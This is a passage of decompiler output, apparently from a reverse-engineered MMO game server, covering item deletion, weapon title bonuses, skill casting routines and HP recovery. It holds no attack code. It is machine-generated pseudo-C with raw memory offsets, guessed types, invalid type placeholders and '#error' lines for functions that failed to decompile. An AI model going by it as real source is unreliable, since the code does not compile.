[bp-10h]@1 int v13; // [sp+90h] [bp-4h]@1 v5 = ecx0; v12 = (unsigned int)&v9 ^ __security_cookie; v10 = (int)"ShineObjectClass::ShinePlayer::sp_SmallItemDelete"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; if ( this ) { ItemInform_ActionItem::sii_Export(this, &iti); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1384))(v5); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v8[16] = 0; LOWORD(v6) = *((_WORD *)v5 + 2); v9 = (a3 << 10) | a4 & 0x3FF; ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, v6, (int)&iti, (int)&v9); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"); __security_check_cookie((unsigned int)&v9 ^ v12); } //----- (0053BCF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet(void *this, __int16 mob) { void *v2; // esi@1 ItemTotalInformation *v3; // eax@1 WEAPON_TITLE_DATA *v4; // eax@2 WEAPON_TITLE_DATA *v5; // edi@2 ITEM_INVEN inv; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(v2, mob); v3 = (ItemTotalInformation *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v2 + 1964))(v2, &inv); if ( v3 ) { v4 = CWeaponTitleZone::GetLevelData(&gWeaponTitle, mob, v3); v5 = v4; if ( v4 ) { *((_DWORD *)v2 + 1354) = v4->MinAdd; *((_DWORD *)v2 + 1355) = v4->MaxAdd; *((_DWORD *)v2 + 1359) = v4->MinAdd; *((_DWORD *)v2 + 1360) = v4->MaxAdd; ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v4->SP1_Reference, v4->SP1_Type, v4->SP1_Value); ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v5->SP2_Reference, v5->SP2_Type, v5->SP2_Value); ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v5->SP3_Reference, v5->SP3_Type, v5->SP3_Value); } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"); } //----- (0053BE30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineEffectObject::so_Routine(ShineObjectClass::ShineEffectObject *this, List *lst, unsigned __int16 handle) { int v3; // esi@1 int v4; // eax@1 int v5; // ecx@2 unsigned int v6; // eax@5 int v7; // edi@6 bool v8; // cf@12 const char *v9; // eax@13 LuaScriptArgument::LuaArgumentMobAI aiarg; // [sp+Ch] [bp-20h]@12 int v12; // [sp+28h] [bp-4h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(v3 + 98); v12 = 0; if ( v4 ) { v5 = *(_DWORD *)(v3 + 78); if ( *(_DWORD *)v5 >= *(_DWORD *)(v4 + 24) || *(_DWORD *)(v5 + 4) >= *(_DWORD *)(v4 + 28) ) { AssertClass::ac_AssertFail(&shineassert, "fm_IsInFieldSize : Effect", 0); *(_DWORD *)(v3 + 265) = 0; } } v6 = *(_DWORD *)(v3 + 294); if ( clockwatch.cw_CurrTick > v6 ) { *(_DWORD *)(v3 + 294) = v6 + *(_DWORD *)(v3 + 298); v7 = *(_DWORD *)(v3 + 290); if ( v7 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v3, *(_DWORD *)(v3 + 290)) > 0x64 ) ShineObjectClass::ShineObject::so_MoveTo(v3, **(_DWORD **)(v7 + 78), *(_DWORD *)(*(_DWORD *)(v7 + 78) + 4), 5); } } if ( clockwatch.cw_CurrTick >= *(_DWORD *)(v3 + 265) ) { (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v3 + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)(v3 + 4), 0, 5); } if ( *(_DWORD *)(v3 + 106) ) { LuaScriptArgument::LuaArgumentMobAI::LuaArgumentMobAI(&aiarg, *(_WORD *)(v3 + 4), *(#1265 **)(v3 + 98)); v8 = *(_DWORD *)(v3 + 134) < 0x10u; LOBYTE(v12) = 1; if ( v8 ) v9 = (const char *)(v3 + 114); else v9 = *(const char **)(v3 + 114); LuaScriptScenario::lss_Routine(*(LuaScriptScenario **)(v3 + 106), v9, &aiarg.baseclass_0); LOBYTE(v12) = 0; LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)&aiarg); } --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_Routine"); return 1; } // 446BD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0053BFC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_Routine(void *this, int lst, __int16 handle) { void *v3; // esi@1 signed int v4; // ebp@1 int v5; // ecx@3 char v6; // al@3 int v7; // edx@7 int v8; // eax@7 bool v9; // zf@9 char v10; // al@9 unsigned int v12; // ecx@26 int v13; // eax@27 int v14; // edx@29 int v15; // eax@30 int v16; // edx@34 int v17; // edi@35 int v18; // ST18_4@35 SkillDataBox::SpecialSkill *v19; // eax@35 int v20; // edx@37 int v21; // ST20_4@37 int v22; // eax@39 int v23; // edi@41 int v24; // edx@43 int v25; // ecx@44 char v26; // al@47 int v27; // edx@47 int v28; // eax@49 int v29; // ST04_4@51 int v30; // eax@51 Name4 *v31; // eax@51 int v32; // ecx@51 int v33; // eax@52 int v34; // eax@54 int v35; // eax@56 int v36; // ecx@56 char *v37; // edi@65 int v38; // eax@65 int v39; // eax@65 char *v40; // eax@66 int v41; // ST10_4@66 int v42; // eax@66 unsigned __int16 v43; // ax@66 int v44; // eax@67 char v45; // al@70 int v46; // edi@72 int v47; // eax@72 SKILL_EMPOWER *v48; // eax@73 int v49; // eax@80 int v50; // edi@80 int v51; // edx@89 int v52; // ST20_4@89 __int16 v53; // ax@90 int v54; // ecx@92 char *v55; // [sp+18h] [bp-30h]@13 FunctionEntarance _; // [sp+2Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+30h] [bp-18h]@66 int v58; // [sp+44h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Routine"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v58 = 0; SetItemData::SkillEffect::se_Clear(&setitemskilleffect); *((_BYTE *)v3 + 7428) &= 0xFBu; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1152))(v3) && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1152))(v3) != 3 ) { v5 = *(_DWORD *)((char *)v3 + 94); v6 = *(_BYTE *)(v5 + 4); if ( v6 != 3 && v6 != 2 ) *(_BYTE *)(v5 + 4) = 0; AbnormalStateContainer::AbstateListInObject::asl_Routine( (AbnormalStateContainer::AbstateListInObject *)((char *)v3 + 296), (#615 *)v3); if ( *((_BYTE *)v3 + 3560) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 864))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 872))(v3); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v3 + 52))(v3, 1); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1980))(v3); v7 = *(_DWORD *)v3; *((_BYTE *)v3 + 3560) = 0; v8 = (*(int (__thiscall **)(void *))(v7 + 1068))(v3); if ( (unsigned __int8)Parameter::Container::IsNoAttacOrNoMove(v8) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2256))(v3); } v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1152))(v3) == 4; v10 = *((_BYTE *)v3 + 7428); if ( v9 ) { if ( v10 & 4 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 3464))(v3) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1156))(v3); goto LABEL_13; } if ( v10 & 4 && !(*(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1068))(v3) + 3086) & 1) && !(*(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1068))(v3) + 3086) & 2) ) ShineObjectClass::ShineMobileObject::smo_RunInFear(v3); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 3464))(v3) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 3468))(v3); if ( *((_DWORD *)v3 + 66) <= 0u || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 40))(v3) ) *((_DWORD *)v3 + 59) = 0; else MoveManager::mm_Step((MoveManager *)((char *)v3 + 232), 0); v12 = *((_DWORD *)v3 + 1796); if ( !v12 ) { LABEL_38: v55 = "ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v13 = *((_DWORD *)v3 + 1801); if ( !v13 ) { *((_DWORD *)v3 + 1796) = 0; v58 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } v14 = *(_DWORD *)v3; if ( clockwatch.cw_CurrTick < v12 ) { v15 = (*(int (__thiscall **)(void *))(v14 + 1068))(v3); if ( (unsigned __int8)Parameter::Container::IsNoAttack(v15) || ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(v3) == 2 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 3392))(v3); v58 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } goto LABEL_38; } (*(void (__thiscall **)(void *, _DWORD))(v14 + 3432))(v3, **(_WORD **)(v13 + 4)); if ( *((_DWORD *)v3 + 1802) ) { v16 = *(_DWORD *)v3; if ( *((_BYTE *)v3 + 7226) == 1 ) { (*(void (__thiscall **)(void *, _DWORD))(v16 + 3384))(v3, *((_WORD *)v3 + 3594)); v17 = *(_DWORD *)v3; v18 = *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v3 + 1801) + 4) + 201); v19 = SkillDataBox::sdb_SpecSkillStruct(&skilldatabox); (*(void (__thiscall **)(void *, _DWORD, int, _DWORD, _DWORD, _DWORD))(v17 + 3348))( v3, v19->ss_CookingMain, v18, 0, 0, 0); } else { (*(void (__thiscall **)(void *, _DWORD))(v16 + 3380))(v3, *((_WORD *)v3 + 3594)); (*(void (__thiscall **)(void *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 3348))( v3, *((_WORD *)v3 + 3594), *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v3 + 1801) + 4) + 201), 0, 0, 0); } v20 = *(_DWORD *)v3; v21 = *((_WORD *)v3 + 3594); *((_DWORD *)v3 + 1796) = 0; (*(void (__thiscall **)(void *, signed int, int, _DWORD))(v20 + 2628))(v3, 2, v21, 0); goto LABEL_38; } v22 = *((_DWORD *)v3 + 1804); if ( v22 ) { if ( **(_WORD **)v22 == unk_131DF0CC ) { v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 988))(v3); (*(void (__thiscall **)(void *, _DWORD, int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 3348))( v3, *((_WORD *)v3 + 3594), v23, 0, 0, 0); (*(void (__thiscall **)(void *, _DWORD, int))(*(_DWORD *)v3 + 884))(v3, *((_WORD *)v3 + 3594), v23); } else { (*(void (__thiscall **)(void *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 3348))( v3, *((_WORD *)v3 + 3594), *((_DWORD *)v3 + 1803), 0, 0, 0); } (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v3 + 3388))( v3, *((_DWORD *)v3 + 1804), *((_BYTE *)v3 + 7220)); v24 = *(_DWORD *)v3; *((_DWORD *)v3 + 1796) = 0; (*(void (__thiscall **)(void *))(v24 + 3440))(v3); v55 = "ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v25 = *((_DWORD *)v3 + 1798); if ( v25 && !(unsigned __int8)(*(int (__stdcall **)(_DWORD))(*(_DWORD *)v25 + 2020))(*(_DWORD *)(*(_DWORD *)(*((_DWORD *)v3 + 1801) + 4) + 195)) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 3392))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 3368))(v3); v55 = "ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v26 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, char *))(*(_DWORD *)v3 + 3404))( v3, *((_WORD *)v3 + 3594), *((_DWORD *)v3 + 1801), (char *)v3 + 7224); v27 = *(_DWORD *)v3; if ( !v26 ) { (*(void (__thiscall **)(void *))(v27 + 3392))(v3); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 3368))(v3); v55 = "ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v28 = (*(int (__thiscall **)(void *))(v27 + 1068))(v3); if ( (unsigned __int8)Parameter::Container::IsNoAttack(v28) || ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(v3) == 2 ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 3392))(v3); v58 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } v29 = *(_DWORD *)((char *)v3 + 78); v30 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v30, v29, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); v31 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1384))(v3); NameString::operator__(&namestring, v31); v32 = *((_DWORD *)v3 + 1798); if ( v32 ) v33 = (*(int (**)(void))(*(_DWORD *)v32 + 1792))(); else v33 = 65535; (*(void (__thiscall **)(void *, int))(*(_DWORD *)v3 + 3376))(v3, v33); v34 = *((_DWORD *)v3 + 1801); if ( *(_BYTE *)(v34 + 252) ) { (*(void (__thiscall **)(void *, _DWORD, int, char *))(*(_DWORD *)v3 + 3408))( v3, *((_WORD *)v3 + 3594), v34, (char *)v3 + 7224); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v3 + 3364))( v3, *(_DWORD *)(*((_DWORD *)v3 + 1801) + 256), *(_DWORD *)(*((_DWORD *)v3 + 1801) + 264)); } v35 = *((_DWORD *)v3 + 1801); v36 = *(_DWORD *)(*(_DWORD *)(v35 + 4) + 521); if ( v36 == 6 ) { (*(void (__thiscall **)(void *, _DWORD, int, char *))(*(_DWORD *)v3 + 3408))( v3, *((_WORD *)v3 + 3594), v35, (char *)v3 + 7224); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 1744))(v3); } else { if ( v36 == 12 ) { (*(void (__thiscall **)(void *, _DWORD, int, char *))(*(_DWORD *)v3 + 3408))( v3, *((_WORD *)v3 + 3594), v35, (char *)v3 + 7224); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2452))(v3); } else { if ( *(_BYTE *)(v35 + 324) == 1 || *(_BYTE *)(v35 + 500) == 1 ) { ShineObjectClass::ShineMobileObject::smo_MagicFieldSpread(v3, *((_DWORD *)v3 + 1801)); } else { if ( *((_WORD *)v3 + 3594) == SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_SummonMate ) { if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 304))(v3) && *(_DWORD *)((char *)v3 + 98) ) { v37 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 9) = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2392))(v3) + 33); v38 = *(_DWORD *)((char *)v3 + 98); *(_DWORD *)(v37 + 13) = *(_DWORD *)v38; *(_DWORD *)(v37 + 17) = *(_DWORD *)(v38 + 4); *(_DWORD *)(v37 + 21) = *(_DWORD *)(v38 + 8); v39 = *(_DWORD *)((char *)v3 + 78); *(_DWORD *)(v37 + 25) = *(_DWORD *)v39; *(_DWORD *)(v37 + 29) = *(_DWORD *)(v39 + 4); ZoneRingPacketSummonPartner::zrpb_Request(&zonringpack_summonpartner, (#593 *)v3, (NETCOMMAND *)v37); } ShineObjectClass::ShineMobileObject::smo_SkillResultPacket( v3, *((_DWORD *)v3 + 1801), *(_DWORD *)((char *)v3 + 78)); *((_BYTE *)v3 + 7428) &= 0xEFu; v40 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9303; *((_WORD *)v40 + 2) = *((_WORD *)v3 + 2); *((_WORD *)v40 + 1) = *((_WORD *)v3 + 3723); *((_WORD *)v40 + 3) = *((_WORD *)v3 + 3594); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v41 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v58) = 1; v42 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v42, v41, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v58) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v43 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 3436))(v3); SkillEffectApply::SkillBlastEffectContainer::sbec_Store( &skilleffectapplyer, *((_WORD *)v3 + 3723), *((SkillDataBox::SkillDataIndex **)v3 + 1801), (#615 *)v3, (#593 *)v3, 0, -1, v43, 0, 1); } else { v44 = *((_DWORD *)v3 + 1801); if ( *(_BYTE *)(v44 + 524) == 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v44 + 4) + 188) ) *((_BYTE *)v3 + 7428) |= 0x10u; v45 = *((_BYTE *)v3 + 7428); if ( !(v45 & 0x10) ) { *((_BYTE *)v3 + 7428) = v45 | 0x10; *((_DWORD *)v3 + 1796) += 3; LABEL_79: v58 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } v46 = *(_DWORD *)v3; *((_BYTE *)v3 + 7428) = v45 & 0xEF; v47 = (*(int (__thiscall **)(void *, signed int))(v46 + 3436))(v3, 1); (*(void (__thiscall **)(void *, _DWORD, _DWORD, void *, _DWORD, int))(v46 + 3152))( v3, *((_DWORD *)v3 + 1801), *((_WORD *)v3 + 3723), v3, *((_DWORD *)v3 + 1798), v47); } else { v48 = (SKILL_EMPOWER *)*((_DWORD *)v3 + 1798); if ( v48 ) ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast((#593 *)v3, v48); else ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast( v3, (int)((char *)v3 + 7196), (int)((char *)v3 + 7224)); } } } } } if ( !*((_DWORD *)v3 + 1801) ) { *((_DWORD *)v3 + 1796) = 0; goto LABEL_79; } v49 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1060))(v3); ++*(_DWORD *)(v49 + 16); v50 = 0; if ( *((_WORD *)v3 + 3612) & 0xF000 ) v50 = *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v3 + 1801) + 4) + 4 * ((unsigned int)*((_WORD *)v3 + 3612) >> 12) + 497); if ( std::vector>::empty((std::vector > *)(*((_DWORD *)v3 + 1801) + 24)) ) { if ( !ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet(v3) ) goto LABEL_88; } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *, _DWORD))(*(_DWORD *)v3 + 3104))(v3, *((_WORD *)v3 + 3594)) == 1 ) goto LABEL_88; } if ( *((_BYTE *)v3 + 7428) & 0x10 ) goto LABEL_90; (*(void (__thiscall **)(void *, _DWORD, _DWORD, _DWORD, _DWORD, int))(*(_DWORD *)v3 + 3348))( v3, *((_WORD *)v3 + 3594), *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v3 + 1801) + 4) + 201), *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v3 + 1801) + 4) + 205), *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v3 + 1801) + 4) + 209), v50); LABEL_88: if ( !(*((_BYTE *)v3 + 7428) & 0x10) ) { v51 = *(_DWORD *)v3; v52 = *((_WORD *)v3 + 3594); *((_DWORD *)v3 + 1796) = 0; (*(void (__thiscall **)(void *, signed int, int, _DWORD))(v51 + 2628))(v3, 2, v52, 0); } LABEL_90: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v3 + 3372))(v3, *(_WORD *)(**((_DWORD **)v3 + 1801) + 73)); v53 = word_6B650C; if ( word_6B650C == -1 ) { v53 = BTree::operator__(&skillnametree, "UseRide"); word_6B650C = v53; } v54 = *((_DWORD *)v3 + 1801); if ( !v54 ) *((_DWORD *)v3 + 1796) = 0; if ( !*(_DWORD *)v54 ) *((_DWORD *)v3 + 1796) = 0; v4 = -1; if ( **(_WORD **)v54 == v53 ) { *((_DWORD *)v3 + 1796) = 0; v55 = "ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } goto LABEL_38; } LABEL_13: v55 = "ShineObjectClass::ShineMobileObject::so_Routine"; LABEL_14: --funcallanalizer.fca_stackpoint; v58 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v55); return 1; } // 54C6B0: using guessed type int __thiscall ShineObjectClass__ShineMobileObject__smo_MagicFieldSpread(_DWORD, _DWORD); // 6B650C: using guessed type __int16 word_6B650C; //----- (0053C8D0) -------------------------------------------------------- #error "53C8D0: undefined or illegal type '#593' (funcsize=182)" //----- (0053CB50) -------------------------------------------------------- #error "53CB50: undefined or illegal type '#593' (funcsize=148)" //----- (0053CD40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip(void *this) { void *v1; // esi@1 int v2; // ST04_4@5 int v3; // eax@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Container::c_MakeTotal((char *)v1 + 3860); if ( *(_DWORD *)((char *)v1 + 32209) > (unsigned int)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1260))(v1) ) *(_DWORD *)((char *)v1 + 32209) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1260))(v1); if ( *(_DWORD *)((char *)v1 + 32213) > (unsigned int)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1264))(v1) ) *(_DWORD *)((char *)v1 + 32213) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1264))(v1); v2 = *(_DWORD *)((char *)v1 + 78); v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v3, v2, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); *((_DWORD *)v1 + 35098) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"); } //----- (0053CE60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_House(void *this) { void *v1; // esi@1 int v2; // ebx@2 unsigned int v3; // ebp@2 signed int v4; // edx@3 int v5; // edi@3 int v6; // ST3C_4@3 int v7; // edx@3 signed int v8; // edx@6 int v9; // edi@6 int v10; // ebx@6 int v11; // edx@6 int v12; // ST04_4@8 int v13; // eax@8 char isrecovered; // [sp+13h] [bp-15h]@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_House"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RecoverPoint_House"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1152))(v1) == 4 ) { isrecovered = 0; (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); v2 = *((_WORD *)v1 + 69797); v3 = (unsigned int)((unsigned int)(*((_DWORD *)v1 + 896) * *((_DWORD *)v1 + 34900)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; if ( clockwatch.cw_CurrTick > (unsigned int)*((_WORD *)v1 + 69796) + *((_DWORD *)v1 + 893) ) { v4 = (signed int)((unsigned __int64)((signed int)(((unsigned int)((unsigned int)(*((_DWORD *)v1 + 895) * *((_DWORD *)v1 + 34899)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6) * *((_DWORD *)v1 + 1561)) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v5 = v4 + ((unsigned int)v4 >> 31); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1252))(v1); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v1 + 1456))(v1, v5); v7 = *(_DWORD *)v1; *((_DWORD *)v1 + 893) = clockwatch.cw_CurrTick; if ( v6 != (*(int (__thiscall **)(void *))(v7 + 1252))(v1) ) isrecovered = 1; } if ( clockwatch.cw_CurrTick > v2 + *((_DWORD *)v1 + 894) && (v8 = (signed int)((unsigned __int64)(v2 * *((_DWORD *)v1 + 1418) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6, v9 = v8 + ((unsigned int)v8 >> 31), v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1256))(v1), (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v1 + 1460))(v1, v3 + v9), v11 = *(_DWORD *)v1, *((_DWORD *)v1 + 894) = clockwatch.cw_CurrTick, v10 != (*(int (__thiscall **)(void *))(v11 + 1256))(v1)) || isrecovered ) { v12 = *(_DWORD *)((char *)v1 + 78); v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v13, v12, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_House"); } //----- (0053D060) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_DuringRecover(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned int v3; // edx@1 int v4; // edi@6 unsigned int v5; // eax@6 int v6; // edi@7 unsigned int v7; // eax@7 bool v8; // cf@7 int v9; // eax@9 int v10; // ST04_4@12 int v11; // eax@12 char *v12; // [sp-4h] [bp-12Ch]@3 FunctionEntarance _; // [sp+10h] [bp-118h]@1 ScriptInterrupt::InterruptHappenArgument arg; // [sp+14h] [bp-114h]@10 unsigned int v15; // [sp+118h] [bp-10h]@1 int v16; // [sp+124h] [bp-4h]@1 v1 = this; v15 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShineMob::sm_DuringRecover"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_DuringRecover"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = 